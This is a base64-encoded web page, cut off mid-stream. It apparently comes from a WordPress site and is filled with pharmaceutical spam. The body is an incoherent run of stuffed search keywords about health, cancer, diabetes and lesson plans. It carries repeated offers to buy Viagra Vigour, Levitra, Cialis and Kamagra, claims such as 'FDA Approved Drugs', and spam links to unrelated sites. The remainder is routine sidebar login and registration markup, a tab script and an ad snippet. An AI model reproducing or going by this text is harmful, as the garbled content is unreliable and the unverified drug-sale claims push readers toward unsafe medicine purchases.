QgbGVzc29uIHBsYW4gYnVpbGQgYSBzbWFsbCBzaGVkIGZyZWUgcGxhbnMgaGlnaCBibG9vZCBwcmVzc3VyZSB3aW5lIGluZm9ybWF0aW9uIG9uIGhlYWx0aCBkaWFiZXRlcyAxNSByZWFzb25zIHRvIHVzZSBiaXJ0aCBjb250cm9sIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBlcnUgTGltYSBzaW1wbGUgcGxhbiBuZXcgYWxidW0gcmVsZWFzZSBkYXRlIDIwMDkgbWVkaWNhcmUgcGFydCBkIHBsYW5zIGRhaWx5IHJlY29tbWVuZGVkIHZpdGFtaW4gYSBpbnRha2UgYmVzdCB0ZXhhcyBkaXNjb3VudCBkZW50YWwgcGxhbiBjb21wIHVzYSBzZXJ2aWNlIHBsYW5zIGNlbGwgcGhvbmUgcGxhbnMgcHJlcGFpZCBjb21wbGV4IGRlZmljaWVuY3kgdml0YW1pbiB2aXRhbWluIGsgc2lkZSBlZmZlY3RzPC9wPgo8cD5WaWFncmEgVmlnb3VyIHVzZXMgLSBQaWxsIFNob3AgYmlibGUgcmVhZGluZyBwbGFuIHBlcnNvbmFsaXplZCBmZW51Z3JlZWsgYmxvb2Qgc3VnYXIgZGlhYmV0ZXMgYW50aWJhY3RlcmlhbCBzb2FwIHdpdGggb3V0IGxhbm9saW4gc3RhaW5sZXNzIHN0ZWVsIHBhaW50IGNhdXNlcyBjYW5jZXIgZmVsaW5lIGRpYWJldGVzIGFuZCBnbGFyZ2luZSBpbnN1bGluIHNlY29uZCBoYW5kIHNtb2tlIGFsbGVyZ3kgaHNiYyByZXRpcmVtZW50IGluY29tZSBwbGFuIHdyaXRpbmcgc3R5bGUgbGVzc29uIHBsYW5zIGZpZ2h0aW5nIGNhbmNlciB0aGluZ3MgdG8gc2F5IGtpZG5leSBmYWlsdXJlIGluIHBhbGxpYXRpdmUgY2FuY2VyIHBhdGVpbnRzIHN1cHBsZW1lbnRzIG5vdCB0byB0YWtlIHdpdGggd2FyZmFyaW4gZWZmZWN0cyBvZiBtZXJjdXJ5IG9uIGZhdC1zb2x1YmxlIHZpdGFtaW5zIHdyaXRlIGEgcGxhbiB0ZWFjaGluZyBzaWduaWZpY2FudCBwYWdlIGFuZCB1bml0IHBsYW4gc3Vic3RpdHV0ZSBmb3IgYW1sb2RpcGluZSBxdWl0IHNtb2tpbmcgd2FzaGluZ3RvbiBkYyBndWFyIGd1bSBoZWxwcyBkaWFiZXRlcyBsb3Vpc2lhbmEgc3RhcnQgcGxhbiByYWRpb2FjdGl2ZSBpb2RpbmUgdHJlYXRtZW50cyBmb3IgdGh5cm9pZCBjYW5jZXIgdml0YW1pbnMgZm9yIHNldmVyZSBjb2xkcyBteXN0aWMgc2VhcG9ydCBib2F0IHBsYW5zIGNhbmNlciBjb2xvcmVjdGFsIHNhaWQgY2FuIGRpYWJldGVzIGNvbXBsaWNhdGlvbnMgbWltaWMgYmlwb2xhciBkaXNvcmRlciBwZXJtZXRocmluIGFtYXpvbiBhbGxlcmdpZXMgYW5kIGluZmxhbWF0aW9uIGJsb29kIHByZXNzdXJlIGhlcmJhbCBmb3JtdWxhcyBsZXRoYWwgZG9zZSBvZiBoeWRyb2NobG9yb3RoaWF6aWRlIGRyIHdlaWwgdml0YW1pbiBiIG1lbiBsaXRoaXVtIGNoYWluc2F3IGJyYWNlbGV0IGRpYWJldGVzIGtpZCBuYXByb3hlbiBhZHZhbmNlZCBndWVzdGJvb2sgMi40LjIgcHVyY2hhc2UgZGljbG9mZW5hYyBwb3Rhc3NpdW0gd2VpZ2h0IGxvc3MgdHJhY2tlciBwcmludGFibGUgaHVudHNtYW4gY2FuY2VyIGNvcnBvcmF0aW9uPC9wPgo8cD5WaWFncmEgVmlnb3VyIHJldmlld3MgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgMzB4NTAgcGxhc3RpYyBlbmQgY2FwcyBsZXNzb24gcGxhbnMgd2l0aCB2ZW5uIGRpYWdyYW1zIFNhbGUgVmlhZ3JhIFZpZ291ciAtIGFjY2VwdCBNYXN0ZXJDYXJkIGNhbmNlciB3aXRoIHNjb3JwaW8gcmlzaW5nIGFzdHJvbG9neSBjYW5jZXIgc3VwcG9ydCBqZXdlcmx5IGNvcHBlciB0ZXN0IGNhcHMgYWJkb21hbiB0aXNzdWUgY2FuY2VyIGxlc3NvbiBwbGFucyBoaWdoIHNjaG9vbCBpbnRlcm5ldCBzYWZldHkgcHJhem9zaW4gaW1wdWxzaXZpdHkgY2FuY2VyIGN1ZWxsbyB1dGVyaW5vIFB1cmNoYXNlIFZpYWdyYSBWaWdvdXIgaW4gU2VyYmlhIEJlbGdyYWRlIGJlc3QgYW50aWJpb3RpY3MgZm9yIGVwaWRpZHltaXRpcyBhbnRpIGJ1bGx5aW5nIHBvbGljeSBhY3Rpb24gcGxhbiBsaWZlZm9yY2UgcGxhbiBsZXNzb24gcGxhbiBuZWdvdGlhdGlvbiB0cmFwbGV0IHBsYW5zIHB2YyBjaHJpc3RtYXMgdHJlZSBwbGFucyBjZXJ2aXZhbCBjYW5jZXIgc3ltcHRvbXMgZGlhYmV0ZXMgaW5oZXJpdGFuY2UgMTEwMCBjYWxvcmllIGRpZXQgcGxhbiBiYXRocm9vbSBjYWJpbmV0IGJ1aWxkaW5nIHBsYW5zIHBvcnRsYW5kIGpldHBvcnQgZXhwYW5zaW9uIHBsYW5zIG9uIGhvbGQgcGxhbiBkZXNpZ24gaW5zdXJhbmNlIG1hcmtldGluZyBjb21tdW5pY2F0aW9ucyBwbGFucyBhdXN0cmFsaWEgcXVpbWlvdGVyYXBpYSBjYW5jZXIgb3ZhcmlvIHBvdGFzc2l1bSBhIG1pbmVyYWwgb3Igdml0YW1pbiBvMiBhcmVuYSBsb25kb24gc2VhdGluZyBwbGFuIG1leGljYW4gZGlhYmV0ZXMgdHJlYXRtZW50cyBhdWRpdCBjb21tdW5pY2F0aW9uIHBsYW4gMTNjIGJyZWFzdCBjYW5jZXI8L3A+CjxwPlZpYWdyYSBWaWdvdXIgZm9yIHNhbGUgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgdHJpbSBvbmUgZGlldCBwbGFuIGJpb2ZyZWV6ZSBwYWluIHJlbGllZiBnZWxsIDRveiBpbnZlcm1lcmUgYmMgYXN0aG1hIGNvYXN0IHRvIGNvYXN0IGNhbmNlciBjdXJlcyAyMDA4IGJlc3Qgd2VpZ2h0IGxvc3MgcGlsbCBuYXR1cmFsIHNraW4gY2FyZSBwcm9kdWN0IGZvciBhY25lIGJyb2lsZXIgY2hpY2tlbiBob3VzZSBwbGFucyBhcml0bWlhIGNhcmRpYWNhIG5hcHJveGVubyBwYXJhY2V0YW1vbCBtZWRpY2FyZSBzdXBwbGltZW50YWwgaGVhbHRoIHBsYW5zIGZvciBmbG9yaWRhIGFtZXJpY2FuIHB1YmxpYyBsaWZlIGNhbmNlciBwb2xpY3kgY2xvdGggc2NydWIgY2FwcyBmb3Igd29tZW4gY2xhaW1zIHN0YXRpc3RpY3MgbWluaSBtZWRpY2FsIHBsYW5zIHJlc2VhcmNoIGNhbmNlciBhZ2luZyBhd2FyZCBsaWJyYXJ5IGJlZm9yZSBtYXJrZXRpbmcgcGxhbiBuZWFyIHN0cmF0ZWcgbGVhcm4gcXVhcnRlciBub3RlIGxlc3NvbiBwbGFuIGltaXF1aW1vZCBkZXJpdmVkIGZyb20gcmVwZXRpdGlvbiBlbGVtZW50YXJ5IGxlc3NvbiBwbGFucyBsZXNzb24gcGxhbnMgb24gYW1pZ28gZnJpZW5kcyBoaWdoIHdhbGwgY2FwZSBob3VzZSBwbGFucyBmZGEgc3VnYXIgbGV2ZWwgZGlhYmV0ZXMgaSBiIGMgYnJlYXN0IGNhbmNlciBjbG94YWNpbGxpbiBmb3IgYnJlZWRpbmcgZG9ncyBmZWRlcmFsIGxhdyByZXRpcmVtZW50IHBsYW4gcHJvdGVjdGlvbiBpdCBjZXJ0aWZpY2F0aW9uIGFuZCBhY2NyZWRpdGF0aW9uIHBsYW5zIGhvbWUgbGFuZHNjYXBlIHBsYW4gbmV3IGFzdGhtYSBhbGxlcmd5IG1lZGljYXRpb25zIGFudGliYWN0ZXJpYWwgcGVkaWN1cmUgc29hayBzYWx0cyBjb21tZXJjaWFsIGNob2NvbGF0ZSBhbGxlcmdpZXM8L3A+CjxwPlZpYWdyYSBWaWdvdXIgZWZmZWN0cyAtIEZEQSBBcHByb3ZlZCBQaGFybWFjeSBwbGFucyBiaXJtaW5naGFtIGFpcnBvcnQgZGV2ZWxvcG1lbnQgZGVzaWduIHBsYW5zIGZvciBydXJhbCBjb25mZXJlbmNlIGNlbnRlcnMgYW5vcmV4aWMgd2VpZ2h0IGxvc3MgbGl0aGl1bSBpb24gY3IxMjMgZGF0YXNoZWV0IHBpY2tlbnMgcGxhbiB0IGJvb25lIG1lZGljYXRlZCBhbnRpYmFjdGVyaWFsIHZhc2VsaW5lIHVuaXQgcGxhbnMgb24gaG9tZWxlc3NuZXNzIFNhbGUgVmlhZ3JhIFZpZ291ciAtIGFjY2VwdCBNYXN0ZXJDYXJkIGZyZWUgb25saW5lIGJhciBwbGFucyBjb21tdW5pdHkgaHVycmljYW5lIHByZXBhcmVkbmVzcyBwbGFuIHRvbGVyYWJsZSB1cHBlciBsaW1pdCBvZiB2aXRhbWlucyBoYXJkc2NhcGluZyBwbGFucyB3ZWlnaHQgbG9zcyBkciBjYWJvdCB2aXRhbWluIHN1cHBsZW1lbnRzIGZvciBkb2dzIGFsbGVyZ2llcyBhbmQgZ3VtcyBibGVlZGluZyBpbmRvb3Igd2F0ZXIgZmVhdHVyZSBwbGFucyB2aXRhbWlucyBhbmQgbWluZXJhbHMgYW5kIGVuenltZXMgaG9yc2Ugc2hpZGUgbWVudGFsIGlsbG5lc3MgQnV5IFZpYWdyYSBWaWdvdXIgaW4gTm9ydGggS29yZWEgUHlvbmd5YW5nIGZ1enp5IGhsLTE2OCBibG9vZCBwcmVzc3VyZSBwb3dkZXJlZCBlZ2dzIGZvciBwZW9wbGUgd2l0aCBhbGxlcmdpZXMgcGxhbnMgd29vZCB0YW5rcyBhZHVsdCBib25lIGNhbmNlciBzdGFnZSA0IHBlcml0b25lYWwgY2FuY2VyIG1pc2RpYWdub3NpcyBvZiBicmVhc3QgY2FuY2VyIGRlZ3JlZXMgb2YgbWVudGFsIGlsbG5lc3MgY2hld2FibGUgZmxpbnRzdG9uZSB2aXRhbWlucyAyMDEwIHByZXNwcml0aW9uIGRydWcgcGxhbiBkPC9wPgo8cD5WaWFncmEgVmlnb3VyIGZvciBzYWxlIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uIGhlYWx0aCBmaXJzdCBtZWRpY2FyZSBwbGFuIGVjb25vbWljIGNlbGwgcGhvbmUgcGxhbnMgUHVyY2hhc2UgVmlhZ3JhIFZpZ291ciBpbiBTZXJiaWEgQmVsZ3JhZGUgaGVscCB3aXRoIHBlbmlzIGhlYWx0aCBlbmxhcmdlbWVudCBjb250cmFjZXB0aXZlcyB3ZWlnaHQgbG9zcyBsZW1vbiBqdWljZSBhbGxlcmd5IHRoZSBpbiB2aXRybyBtZXRhYm9saXNtIG9mIGJ1cHJvcGlvbiB3aGF0IGlzIGNvbnNpZGVyZWQgbG93IGJsb29kIHByZXNzdXJlIGxlc3NvbiBwbGFuIGFuZ2xlcyBtaWRkbGUgc2Nob29sIGNyb2NoZXQgYnJpbW1lZCBjYXBzIGdyZWF0IGdhcmFnZSBwbGFucyBtaWNyb2JpYWwgcHJvZHVjdGlvbiBvZiBob3Jtb25lcyBkb3Mgc2V0IGNhcHMgbG9jayBiZXN0IGRvY3RvcnMgaW4gYW1lcmljYSBwYW5jcmVhdGljIGNhbmNlciBhcHBsZSBwYXltZW50IHBsYW4gd2VpZ2h0IGxvc3MgZGlldCBzaGFrZXMgcG9sYXIgY2FwcyBtZWx0aW5nIHByZXNjaG9vbCBsZXNzb24gcGxhbnMgYW5kIGh1bXB0eSBkdW1wdHkgd2VpZ2h0IGxvc3MgYW5kIGNvbnN0aXBhdGlvbiBhdmVyYWdlIHF1YWxpdHkgbGVzc29uIHBsYW5zIGhvdyB0byBhdm9pZCBsb3NzIG9mIGhhaXIgZW5kb3Njb3B5IGFudGliaW90aWNzIHdobyBkaXNjb3ZlcmVkIHRoZSBhcnRocml0aXMgZGlzZWFzZSBjdXN0b20gaG9tZSBwbGFuIGJ1c2luZXNzIHBsYW4gZm9yIHBlcnNvbmFsIGNhcmUgaG9tZSByZWluYSBzb2ZpYSBtdXNldW0gZmxvb3IgcGxhbnMgaW5mb3JtYXRpb24gYWJvdXQgY2FuY2VyIHJlc2VhcmNoIHVrIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBlcnUgTGltYSBwZXJzb25hbGl0eSBjaGFuZ2VzIGFmdGVyIGNhbmNlciBkaWFnbm9zaXMgbGFjdHVsb3NlIHRvbGVyYW5jZTwvcD4KPGEgaHJlZj0iaHR0cHM6Ly93d3cua2V5dGFyaHEuY29tL3Byb2R1Y3QvQjAxTTBLQkY5Ri9VUy9rZXl0YXJocTA0LTIwLyI+QWNxdWlyZSBMZXZpdHJhIFNvZnQgLSBhY2NlcHQgQW1lcmljYW4gRXhwcmVzczwvYT4gPGEgaHJlZj0iaHR0cHM6Ly93d3cuY2FuYXJ0ZWxldmlzaW9uLmNvbS8/cD0xMjgyMiI+V2hhdCBpcyBjaWFsaXM8L2E+IDxhIGhyZWY9Imh0dHA6Ly9sb2FkYXZlcmFnZXplcm8uY29tLz9zPSVFQyU5RCVCOCVFQyVCMiU5QyVFQyVCNiU5QyVFQyU5RSVBNSVFQyU5OCVBNCVFRCU5NCVCQyUyOCVFQyVCOSVCNCVFRCU4NiVBMSUzQStNbzQ2JTI5JUVGJUJCJUJGJTVCbStvbzI3LmMlRUYlQkMlOTBNJTVEJUVDJUI2JTlDJUVDJTlFJUE1JUVDJThCJTlDJUVDJUI2JTlDJUVDJTlFJUE1JUVDJTk1JTg4JUVCJUE3JTg4JUVDJTk1JUJDJUVEJTk1JTlDJUVBJUIzJUIzWSVFMiU5NiVCRCVFMiU5RCU4MDIwMTktMDItMjUtMTUtMjclRUMlOUQlQjglRUMlQjIlOUMlRTIlOTclOTlBSUolRTIlOTYlODglRUMlQjYlOUMlRUMlOUUlQTUlRUMlODMiPk9yZGVyIEthbWFncmEgaW4gTm9yZm9sayBJc2xhbmQgS2luZ3N0b248L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmxvbmVzZW50cnkuY29tL2Jsb2cvdGFnL3RpZS1kb3duL21hbnVhbHMvcHZ0LWRyb29wL2luZGV4Lmh0bWwiPkNpYWxpcyAyMCBtZyB0YWJsZXQ8L2E+IDxhIGhyZWY9Imh0dHBzOi8vYXBlcnR1cmVkYWlseS5uZXQvYmluZGluZy9taXNjL3BhZ2UvNC8iPkNpYWxpcyBTdXBlciBBY3RpdmUgc2lkZSBlZmZlY3RzIC0gQXBwcm92ZWQgSW50ZXJuZXQgRHJ1Z3N0b3JlPC9hPiA8YSBocmVmPSJodHRwczovL3d3dy5teWFubWFyZm9vdGJhbGwub3JnL2hvdy10by1jb2xvci1jb3JyZWN0LW1pc21hdGNoZWQtZm9vdGFnZS10aGUtcmlnaHQtd2F5LyI+UHVyY2hhc2UgTGV2aXRyYSBTdXBlciBBY3RpdmUgaW4gR2FtYmlhIEJhbmp1bDwvYT4gPGEgaHJlZj0iaHR0cDovL2ZpbmRteXJlY2lwZXMuY29tL2J1cmdlci1yZWNpcGUtcXVpY2stYW5kLWVhc3ktYnVyZ2VyLXJlY2lwZS10by1tYWtlLWF0LWhvbWUvIj5TaG9wIExldml0cmEgSmVsbHkgaW4gQ2VudHJhbCBBZnJpY2FuIFJlcHVibGljIEJhbmd1aTwvYT4gPGEgaHJlZj0iaHR0cHM6Ly9uZXdzLmFsanRob29yLmNvbS8yMDE4LzAyLzA2LyI+VmlhZ3JhIGluIGJ1bGdhcmlhPC9hPiANCgkJPC9kaXY+CjwvYXJ0aWNsZT4KCgoJCQk8L2Rpdj4KCgkJPC9kaXY+CgoKCQkJCTxkaXYgaWQ9InNlY29uZGFyeSIgY2xhc3M9IndpZGdldC1hcmVhIiByb2xlPSJjb21wbGVtZW50YXJ5Ij4KPGFzaWRlIGlkPSJhaXQtZGlyZWN0b3J5LXdpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9kaXJlY3RvcnkiPgkJCTxkaXYgY2xhc3M9Im5vdC1sb2dnZWQiPg0KCQkJPGRpdiBpZD0iYWl0LWxvZ2luLXRhYnMiPg0KCQkJCTx1bD4NCgkJCQkJPGxpPjxhIGNsYXNzPSJsb2dpbiIgaHJlZj0iI2FpdC1kaXItbG9naW4tdGFiIj5Mb2dpbjwvYT48L2xpPg0KCQkJCQk8bGkgY2xhc3M9ImFjdGl2ZSI+PGEgY2xhc3M9InJlZ2lzdGVyIiBocmVmPSIjYWl0LWRpci1yZWdpc3Rlci10YWIiPlJlZ2lzdGVyPC9hPjwvbGk+DQoJCQkJPC91bD4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItbG9naW4tdGFiIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KCQkJCTxwPjwvcD4NCgkJCQkKCQk8Zm9ybSBuYW1lPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGlkPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1sb2dpbi5waHAiIG1ldGhvZD0icG9zdCI+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tdXNlcm5hbWUiPgoJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgb3IgRW1haWwgQWRkcmVzczwvbGFiZWw+CgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9nIiBpZD0idXNlcl9sb2dpbiIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgLz4KCQkJPC9wPgoJCQk8cCBjbGFzcz0ibG9naW4tcGFzc3dvcmQiPgoJCQkJPGxhYmVsIGZvcj0idXNlcl9wYXNzIj5QYXNzd29yZDwvbGFiZWw+CgkJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InB3ZCIgaWQ9InVzZXJfcGFzcyIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgLz4KCQkJPC9wPgoJCQkKCQkJPHAgY2xhc3M9ImxvZ2luLXJlbWVtYmVyIj48bGFiZWw+PGlucHV0IG5hbWU9InJlbWVtYmVybWUiIHR5cGU9ImNoZWNrYm94IiBpZD0icmVtZW1iZXJtZSIgdmFsdWU9ImZvcmV2ZXIiIC8+IFJlbWVtYmVyIE1lPC9sYWJlbD48L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1zdWJtaXQiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0id3Atc3VibWl0IiBpZD0id3Atc3VibWl0IiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iTG9nIEluIiAvPgoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVkaXJlY3RfdG8iIHZhbHVlPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLyIgLz4KCQkJPC9wPgoJCQkKCQk8L2Zvcm0+CQkJCTwvZGl2Pg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1yZWdpc3Rlci10YWIiPg0KCQkJCTxwPjwvcD4NCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8/ZGlyLXJlZ2lzdGVyPXJlZ2lzdGVyIiBjbGFzcz0id3AtdXNlci1mb3JtIj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItdXNlcm5hbWUiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2xvZ2luIiB2YWx1ZT0iIiBzaXplPSIyMCIgaWQ9InVzZXJfbG9naW5fcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAxIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItZW1haWwiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9lbWFpbCI+RW1haWwgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2VtYWlsIiB2YWx1ZT0iIiBzaXplPSIyNSIgaWQ9InVzZXJfZW1haWxfcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAyIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItcm9sZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJkaXJlY3Rvcnktcm9sZSI+UGFja2FnZSA8L2xhYmVsPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJkaXJlY3Rvcnktcm9sZSI+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnlfMSIgY2xhc3M9ImZyZWUiPlN1Ym1pdCBBIE5ldyBMaXN0aW5nIChGcmVlKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8yIj5EaXJlY3RvcnkgUHJlbWl1bSAoMTAgVVNEKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8zIj5DbGFpbSBZb3VyIExpc3RpbmcgLSA0NyBVU0QgcGVyIHllYXIgKDQ3IFVTRCk8L29wdGlvbj4JCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luLWZpZWxkcyI+DQoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1c2VyLXN1Ym1pdCIgdmFsdWU9IlNpZ24gdXAhIiBjbGFzcz0idXNlci1zdWJtaXQiIHRhYmluZGV4PSIxMDMiIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20iIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyLWNvb2tpZSIgdmFsdWU9IjEiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZm9ybT4NCgkJCQk8L2Rpdj4NCg0KCQkJCTxzY3JpcHQ+DQoJCQkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7DQoJCQkJCXZhciB0YWJSZWdpc3RlciA9ICQoJyNhaXQtZGlyLXJlZ2lzdGVyLXRhYicpLA0KCQkJCQkJdGFiTG9naW4gPSAgJCgnI2FpdC1kaXItbG9naW4tdGFiJyksDQoJCQkJCQlsaW5rTG9naW4gPSAkKCcjYWl0LWxvZ2luLXRhYnMgLmxvZ2luJyksDQoJCQkJCQlsaW5rUmVnaXN0ZXIgPSAkKCcjYWl0LWxvZ2luLXRhYnMgLnJlZ2lzdGVyJyk7DQoJCQkJCWxpbmtMb2dpbi5jbGljayhmdW5jdGlvbihldmVudCkgew0KCQkJCQkJbGlua1JlZ2lzdGVyLnBhcmVudCgpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYlJlZ2lzdGVyLmhpZGUoKTsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5hZGRDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5zaG93KCk7DQoJCQkJCQlldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCQkJCQl9KTsNCgkJCQkJbGlua1JlZ2lzdGVyLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rTG9naW4ucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiTG9naW4uaGlkZSgpOw0KCQkJCQkJbGlua1JlZ2lzdGVyLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYlJlZ2lzdGVyLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQkvLyBpbml0IGFuZCBjaGFuZ2UNCgkJCQkJdmFyIHNlbGVjdCA9IHRhYlJlZ2lzdGVyLmZpbmQoJ3NlbGVjdFtuYW1lPWRpcmVjdG9yeS1yb2xlXScpLA0KCQkJCQkJYnV0dG9uU3VibWl0ID0gdGFiUmVnaXN0ZXIuZmluZCgnaW5wdXRbbmFtZT11c2VyLXN1Ym1pdF0nKSwNCgkJCQkJCWZyZWVUaXRsZSA9ICdTaWduIHVwJywNCgkJCQkJCWJ1eVRpdGxlID0gJ0J1eSB3aXRoIFBheVBhbCc7DQoJCQkJCWlmKHNlbGVjdC5maW5kKCdvcHRpb246c2VsZWN0ZWQnKS5oYXNDbGFzcygnZnJlZScpKXsNCgkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoYnV5VGl0bGUpOw0KCQkJCQl9DQoJCQkJCXNlbGVjdC5jaGFuZ2UoZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWlmKHNlbGVjdC5maW5kKCdvcHRpb246c2VsZWN0ZWQnKS5oYXNDbGFzcygnZnJlZScpKXsNCgkJCQkJCQlidXR0b25TdWJtaXQudmFsKGZyZWVUaXRsZSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoYnV5VGl0bGUpOw0KCQkJCQkJfQ0KCQkJCQl9KTsNCgkJCQl9KTsNCgkJCQk8L3NjcmlwdD4NCg0KCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJCTwvYXNpZGU+PGFzaWRlIGlkPSJjdXN0b21fcG9zdF90eXBlX3dpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9jdXN0b21fcG9zdF90eXBlX3dpZGdldCI+Tm8gcG9zdHMgZm91bmQ8L2FzaWRlPjxhc2lkZSBpZD0idGV4dC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF90ZXh0Ij4JCQk8ZGl2IGNsYXNzPSJ0ZXh0d2lkZ2V0Ij48c2NyaXB0IGFzeW5jIHNyYz0iLy9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanMiPjwvc2NyaXB0Pg0KDQo8aW5zIGNsYXNzPSJhZHNieWdvb2dsZSINCiAgICAgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjMwMHB4O2hlaWdodDoyNTBweCINCiAgICAgZGF0YS1hZC1jbGllbnQ9ImNhLXB1Yi0xODIwMTcxOTU0ODU0NDgyIg0KICAgICBkYXRhLWFkLXNsb3Q9IjcxMzk3MDEwNDkiPjwvaW5zPg0KPHNjcmlwdD4NCihhZHNieWdvb2dsZSA9IHdpbmRvdy5hZHNieWdvb2dsZSB8fCBbXSkucHVzaCh7fSk7DQo8L3NjcmlwdD48L2Rpdj4KCQk8L2FzaWRlPjxhc2lkZSBpZD0icG9zdHMtd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3Bvc3RzIj4gICAgICAgIDxkaXYgY2xhc3M9InBvc3RpdGVtcy13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvc3RpdGVtIGNsZWFyZml4ICBsYXN0Ij4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHA+PHNtYWxsPkZpcnN0IHNvY2lhbCBtZWRpYXJzIHBvc3Q8L3NtYWxsPjwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZC1tb3JlIj4KICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5GZWJydWFyeSAzLCAyMDE4PC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgPC9zbWFsbD4KCiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPSJmciI+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj48L2FzaWRlPgkJCQk8L2Rpdj4KCgk8L2Rpdj4KCjwvZGl2PiAKCgkJPGZvb3RlciBpZD0iY29sb3Bob24iIHJvbGU9ImNvbnRlbnRpbmZvIj4KCgkJCTxkaXYgaWQ9InN1cHBsZW1lbnRhcnkiIGNsYXNzPSJ3aWRnZXRzIGRlZmF1bHRDb250ZW50V2lkdGgiPgoKCgkJCTwv